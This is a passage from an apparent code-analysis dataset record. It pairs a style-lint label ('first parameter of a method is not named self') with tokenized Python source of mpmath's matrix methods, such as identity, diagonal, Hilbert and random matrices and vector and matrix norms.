p-norm for arbitrary p\")", "metadata": "root.MatrixMethods.mnorm", "header": "['class', 'MatrixMethods', '(', 'object', ')', ':', '___EOS___']", "index": 938 } ]
[ { "span": "def __init__(ctx):", "start_line": 736, "start_column": 4, "end_line": 736, "end_column": 22 }, { "span": "def eye(ctx, n, **kwargs):", "start_line": 742, "start_column": 4, "end_line": 742, "end_column": 30 }, { "span": "def diag(ctx, diagonal, **kwargs):", "start_line": 751, "start_column": 4, "end_line": 751, "end_column": 38 }, { "span": "def hilbert(ctx, m, n=None):", "start_line": 821, "start_column": 4, "end_line": 821, "end_column": 32 }, { "span": "def randmatrix(ctx, m, n=None, min=0, max=1, **kwargs):", "start_line": 837, "start_column": 4, "end_line": 837, "end_column": 59 }, { "span": "def swap_row(ctx, A, i, j):", "start_line": 859, "start_column": 4, "end_line": 859, "end_column": 31 }, { "span": "def extend(ctx, A, b):", "start_line": 873, "start_column": 4, "end_line": 873, "end_column": 26 }, { "span": "def norm(ctx, x, p=2):", "start_line": 887, "start_column": 4, "end_line": 887, "end_column": 26 }, { "span": "def mnorm(ctx, A, p=1):", "start_line": 938, "start_column": 4, "end_line": 938, "end_column": 27 } ]
[]
1
true
[ "[CLS]_", "First_", "parameter_", "of_", "a_", "method_", "is_", "not_", "named_", "'", "self", "'_", "[SEP]_", "class_", "Matrix", "Methods_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "ctx_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "XX", "X", ":", " ", "subclass_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ctx_", "._", "matrix_", "=_", "type_", "(_", "'", "matrix", "'_", ",_", "(_", "\\u", "matrix_", ",_", ")_", ",_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ctx_", "._", "matrix_", "._", "ctx_", "=_", "ctx_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ctx_", "._", "matrix_", "._", "convert_", "=_", "ctx_", "._", "convert_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Matrix", "Methods_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "eye_", "(_", "ctx_", ",_", "n_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Creat", "e", " ", "square", " ", "identi", "ty", " ", "matrix", " ", "n", " ", "x", " ", "n", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "A_", "=_", "ctx_", "._", "matrix_", "(_", "n_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "xrange_", "(_", "n_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "A_", "[_", "i_", ",_", "i_", "]_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "A_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Matrix", "Methods_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "diag_", "(_", "ctx_", ",_", "diagonal_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Creat", "e", " ", "square", " ", "diagonal", " ", "matrix", " ", "usi", "ng", " ", "give", "n", " ", "list", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ple", ":", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "mpm", "ath", " ", "import", " ", "diag", ",", " ", "mp", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "mp", ".", "pretty", " ", "=", " ", "Fal", "se", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "diag", "([", "1", ",", " ", "2", ",", " ", "3", "])", "\\", "10", ";", " ", " ", " ", " ", "matrix", "(", "\\", "10", ";", " ", " ", " ", " ", "[[", "'", "1.0", "',", " ", "'", "0.", "0", "',", " ", "'", "0.", "0", "']", ",", "\\", "10", ";", " ", " ", " ", " ", " ", "['", "0.", "0", "',", " ", "'", "2.0", "',", " ", "'", "0.", "0", "']", ",", "\\", "10", ";", " ", " ", " ", " ", " ", "['", "0.", "0", "',", " ", "'", "0.", "0", "',", " ", "'", "3.0", "']]", ")", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "A_", "=_", "ctx_", "._", "matrix_", "(_", "len_", "(_", "diagonal_", ")_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "xrange_", "(_", "len_", "(_", "diagonal_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "A_", "[_", "i_", ",_", "i_", "]_", "=_", "diagonal_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "A_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Matrix", "Methods_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "hil", "bert", "_", "(_", "ctx_", ",_", "m_", ",_", "n_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Creat", "e", " ", "(", "pseudo", ")", " ", "hil", "bert", " ", "matrix", " ", "m", " ", "x", " ", "n", ".", "\\", "10", ";", " ", " ", " ", " ", "One", " ", "give", "n", " ", "dimension", " ", "will", " ", "create", " ", "hil", "bert", " ", "matrix", " ", "n", " ", "x", " ", "n", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "matrix", " ", "is", " ", "very", " ", "ill", "-", "condition", "ed", " ", "and", " ", "symmetric", ",", " ", "posit", "ive", " ", "definit", "e", " ", "if", "\\", "10", ";", " ", " ", " ", " ", "square", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "n_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n_", "=_", "m_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "A_", "=_", "ctx_", "._", "matrix_", "(_", "m_", ",_", "n_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "xrange_", "(_", "m_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "j_", "in_", "xrange_", "(_", "n_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "A_", "[_", "i_", ",_", "j_", "]_", "=_", "ctx_", "._", "one_", "/_", "(_", "i_", "+_", "j_", "+_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "A_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Matrix", "Methods_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "rand", "matrix_", "(_", "ctx_", ",_", "m_", ",_", "n_", "=_", "None_", ",_", "min_", "=_", "0_", ",_", "max_", "=_", "1_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Creat", "e", " ", "a", " ", "random", " ", "m", " ", "x", " ", "n", " ", "matrix", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "All", " ", "values", " ", "are", " ", ">=", " ", "min", " ", "and", " ", "<", "max", ".", "\\", "10", ";", " ", " ", " ", " ", "n", " ", "default", "s", " ", "to", " ", "m", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ple", ":", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "mpm", "ath", " ", "import", " ", "rand", "matrix", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "rand", "matrix", "(", "2", ")", " ", "#", " ", "docte", "st", ":+", "SKIP", "\\", "10", ";", " ", " ", " ", " ", "matrix", "(", "\\", "10", ";", " ", " ", " ", " ", "[[", "'", "0.53", "491", "598", "236", "191", "806", "',", " ", "'", "0.57", "195", "669", "543", "302", "752", "']", ",", "\\", "10", ";", " ", " ", " ", " ", " ", "['", "0.85", "589", "992", "269", "513", "615", "',", " ", "'", "0.82", "444", "367", "501", "382", "143", "']]", ")", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "n_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n_", "=_", "m_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "A_", "=_", "ctx_", "._", "matrix_", "(_", "m_", ",_", "n_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "xrange_", "(_", "m_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "j_", "in_", "xrange_", "(_", "n_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "A_", "[_", "i_", ",_", "j_", "]_", "=_", "ctx_", "._", "rand_", "(_", ")_", "*_", "(_", "max_", "-_", "min_", ")_", "+_", "min_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "A_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Matrix", "Methods_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "swap", "\\u", "row_", "(_", "ctx_", ",_", "A_", ",_", "i_", ",_", "j_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Swa", "p", " ", "row", " ", "i", " ", "with", " ", "row", " ", "j", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "i_", "==_", "j_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "isinstance_", "(_", "A_", ",_", "ctx_", "._", "matrix_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "k_", "in_", "xrange_", "(_", "A_", "._", "cols_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "A_", "[_", "i_", ",_", "k_", "]_", ",_", "A_", "[_", "j_", ",_", "k_", "]_", "=_", "A_", "[_", "j_", ",_", "k_", "]_", ",_", "A_", "[_", "i_", ",_", "k_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "isinstance_", "(_", "A_", ",_", "list_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "A_", "[_", "i_", "]_", ",_", "A_", "[_", "j_", "]_", "=_", "A_", "[_", "j_", "]_", ",_", "A_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Type", "Error_", "(_", "'", "coul", "d", " ", "not", " ", "interpret", " ", "type", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Matrix", "Methods_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "extend_", "(_", "ctx_", ",_", "A_", ",_", "b_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Extend", " ", "matrix", " ", "A", " ", "with", " ", "column", " ", "b", " ", "and", " ", "return", " ", "result", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "isinstance_", "(_", "A_", ",_", "ctx_", "._", "matrix_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Type", "Error_", "(_", "\"", "A", " ", "shou", "ld", " ", "be", " ", "a", " ", "type", " ", "of", " ", "ctx", ".", "matrix", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "A_", "._", "rows_", "!=_", "len_", "(_", "b_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "\"", "Value", " ", "shou", "ld", " ", "be", " ", "equal", " ", "to", " ", "len", "(", "b", ")\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "A_", "=_", "A_", "._", "copy_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "A_", "._", "cols_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "xrange_", "(_", "A_", "._", "rows_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "A_", "[_", "i_", ",_", "A_", "._", "cols_", "-_", "1_", "]_", "=_", "b_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "A_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Matrix", "Methods_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "norm_", "(_", "ctx_", ",_", "x_", ",_", "p_", "=_", "2_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Give", "s", " ", "the", " ", "entry", "wis", "e", " ", "`", "p", "`-", "norm", " ", "of", " ", "an", " ", "iterable", " ", "*", "x", "*", ",", " ", "i", ".", "e", ".", " ", "the", " ", "vector", " ", "norm", "\\", "10", ";", " ", " ", " ", " ", "`", "\\\\", "left", "(\\\\", "sum", "\\u", "k", " ", "|", "x", "\\u", "k", "|", "^", "p", "\\\\", "right", ")", "^", "{", "1", "/", "p", "}`", ",", " ", "for", " ", "any", " ", "give", "n", " ", "`", "1", " ", "\\\\", "le", " ", "p", " ", "\\\\", "le", " ", "\\\\", "inf", "ty", "`.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Special", " ", "case", "s", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "*", "x", "*", " ", "is", " ", "not", " ", "iterable", ",", " ", "this", " ", "just", " ", "return", "s", " ", "``", "abs", "max", "(", "x", ")``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "``", "p", "=", "1", "``", " ", "give", "s", " ", "the", " ", "sum", " ", "of", " ", "abs", "olute", " ", "values", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "``", "p", "=", "2", "``", " ", "is", " ", "the", " ", "standard", " ", "Euc", "lide", "an", " ", "vector", " ", "norm", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "``", "p", "=", "inf", "``", " ", "give", "s", " ", "the", " ", "magnitude", " ", "of", " ", "the", " ", "large", "st", " ", "element", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "For", " ", "*", "x", "*", " ", "a", " ", "matrix", ",", " ", "``", "p", "=", "2", "``", " ", "is", " ", "the", " ", "Fro", "ben", "ius", " ", "norm", ".", "\\", "10", ";", " ", " ", " ", " ", "For", " ", "opera", "tor", " ", "matrix", " ", "norms", ",", " ", "use", " ", ":", "func", ":`", "~", "mpm", "ath", ".", "mn", "orm", "`", " ", "inst", "ead", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "You", " ", "can", " ", "use", " ", "the", " ", "string", " ", "'", "inf", "'", " ", "as", " ", "well", " ", "as", " ", "float", "('", "inf", "')", " ", "or", " ", "mpf", "('", "inf", "')", "\\", "10", ";", " ", " ", " ", " ", "to", " ", "speci", "fy", " ", "the", " ", "infinity", " ", "norm", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ples", "**", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "mpm", "ath", " ", "import", " ", "*", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "mp", ".", "dps", " ", "=", " ", "15", ";", " ", "mp", ".", "pretty", " ", "=", " ", "Fal", "se", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "x", " ", "=", " ", "matrix", "([", "-1", "0", ",", " ", "2", ",", " ", "100", "])", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "norm", "(", "x", ",", " ", "1", ")", "\\", "10", ";", " ", " ", " ", " ", "mpf", "('", "112", ".0", "')", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "norm", "(", "x", ",", " ", "2", ")", "\\", "10", ";", " ", " ", " ", " ", "mpf", "('", "100", ".5", "186", "549", "850", "325", "')", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "norm", "(", "x", ",", " ", "inf", ")", "\\", "10", ";", " ", " ", " ", " ", "mpf", "('", "100", ".0", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "iter_", "(_", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Type", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "ctx_", "._", "abs", "max_", "(_", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "type_", "(_", "p_", ")_", "is_", "not_", "int_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", "=_", "ctx_", "._", "convert_", "(_", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "p_", "==_", "ctx_", "._", "inf_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "max_", "(_", "ctx_", "._", "abs", "max_", "(_", "i_", ")_", "for_", "i_", "in_", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "p_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "ctx_", "._", "fsu", "m_", "(_", "x_", ",_", "absolute_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "p_", "==_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "ctx_", "._", "sqrt_", "(_", "ctx_", "._", "fsu", "m_", "(_", "x_", ",_", "absolute_", "=_", "1_", ",_", "squared_", "=_", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "p_", ">_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "ctx_", "._", "nthr", "oot_", "(_", "ctx_", "._", "fsu", "m_", "(_", "abs_", "(_", "i_", ")_", "**_", "p_", "for_", "i_", "in_", "x_", ")_", ",_", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "'", "p", " ", "has", " ", "to", " ", "be", " ", ">=", " ", "1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Matrix", "Methods_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "mn", "orm_", "(_", "ctx_", ",_", "A_", ",_", "p_", "=_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Give", "s", " ", "the", " ", "matrix", " ", "(", "opera", "tor", ")", " ", "`", "p", "`-", "norm", " ", "of", " ", "A", ".", " ", "Curr", "ent", "ly", " ", "``", "p", "=", "1", "``", " ", "and", " ", "``", "p", "=", "inf", "``", "\\", "10", ";", " ", " ", " ", " ", "are", " ", "support", "ed", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "``", "p", "=", "1", "``", " ", "give", "s", " ", "the", " ", "1", "-", "norm", " ", "(", "maximal", " ", "column", " ", "sum", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "``", "p", "=", "inf", "``", " ", "give", "s", " ", "the", " ", "`", "\\\\", "inf", "ty", "`-", "norm", " ", "(", "maximal", " ", "row", " ", "sum", ").", "\\", "10", ";", " ", " ", " ", " ", "You", " ", "can", " ", "use", " ", "the", " ", "string", " ", "'", "inf", "'", " ", "as", " ", "well", " ", "as", " ", "float", "('", "inf", "')", " ", "or", " ", "mpf", "('", "inf", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "``", "p", "=", "2", "``", " ", "(", "not", " ", "implemented", ")", " ", "for", " ", "a", " ", "square", " ", "matrix", " ", "is", " ", "the", " ", "usual", " ", "spectral", "\\", "10", ";", " ", " ", " ", " ", "matrix", " ", "norm", ",", " ", "i", ".", "e", ".", " ", "the", " ", "large", "st", " ", "singular", " ", "value", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "``", "p", "='", "f", "'``", " ", "(", "or", " ", "'", "F", "',", " ", "'", "fro", "',", " ", "'", "Fro", "ben", "ius", ",", " ", "'", "fro", "ben", "ius", "')", " ", "give", "s", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "Fro", "ben", "ius", " ", "norm", ",", " ", "whi", "ch", " ", "is", " ", "the", " ", "element", "wis", "e", " ", "2", "-", "norm", ".", " ", "The", " ", "Fro", "ben", "ius", " ", "norm", " ", "is", " ", "an", "\\", "10", ";", " ", " ", " ", " ", "approx", "imat", "ion", " ", "of", " ", "the", " ", "spectral", " ", "norm", " ", "and", " ", "satisf", "ies", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "math", " ", "::", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\\\\", "frac", "{", "1", "}{\\\\", "sqrt", "{\\\\", "math", "rm", "{", "rank", "}(", "A", ")}", "}", " ", "\\\\|", "A", "\\\\|", "\\u", "F", " ", "\\\\", "le", " ", "\\\\|", "A", "\\\\|", "\\u", "2", " ", "\\\\", "le", " ", "\\\\|", "A", "\\\\|", "\\u", "F", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "Fro", "ben", "ius", " ", "norm", " ", "lack", "s", " ", "some", " ", "mathe", "matical", " ", "proper", "ties", " ", "tha", "t", " ", "mig", "ht", "\\", "10", ";", " ", " ", " ", " ", "be", " ", "expected", " ", "of", " ", "a", " ", "norm", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "For", " ", "genera", "l", " ", "element", "wis", "e", " ", "`", "p", "`-", "norms", ",", " ", "use", " ", ":", "func", ":`", "~", "mpm", "ath", ".", "norm", "`", " ", "inst", "ead", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ples", "**", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "mpm", "ath", " ", "import", " ", "*", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "mp", ".", "dps", " ", "=", " ", "15", ";", " ", "mp", ".", "pretty", " ", "=", " ", "Fal", "se", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "A", " ", "=", " ", "matrix", "([", "[", "1", ",", " ", "-1", "000", "],", " ", "[", "100", ",", " ", "50", "]])", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "mn", "orm", "(", "A", ",", " ", "1", ")", "\\", "10", ";", " ", " ", " ", " ", "mpf", "('", "1050", ".0", "')", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "mn", "orm", "(", "A", ",", " ", "inf", ")", "\\", "10", ";", " ", " ", " ", " ", "mpf", "('", "100", "1.0", "')", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "mn", "orm", "(", "A", ",", " ", "'", "F", "')", "\\", "10", ";", " ", " ", " ", " ", "mpf", "('", "1006", ".2", "310", "867", "787", "777", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "A_", "=_", "ctx_", "._", "matrix_", "(_", "A_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "type_", "(_", "p_", ")_", "is_", "not_", "int_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "type_", "(_", "p_", ")_", "is_", "str_", "and_", "'", "fro", "ben", "ius", "'_", "._", "startswith_", "(_", "p_", "._", "lower_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "ctx_", "._", "norm_", "(_", "A_", ",_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "p_", "=_", "ctx_", "._", "convert_", "(_", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "m_", ",_", "n_", "=_", "A_", "._", "rows_", ",_", "A_", "._", "cols_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "p_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "max_", "(_", "ctx_", "._", "fsu", "m_", "(_", "(_", "A_", "[_", "i_", ",_", "j_", "]_", "for_", "i_", "in_", "xrange_", "(_", "m_", ")_", ")_", ",_", "absolute_", "=_", "1_", ")_", "for_", "j_", "in_", "xrange_", "(_", "n_", 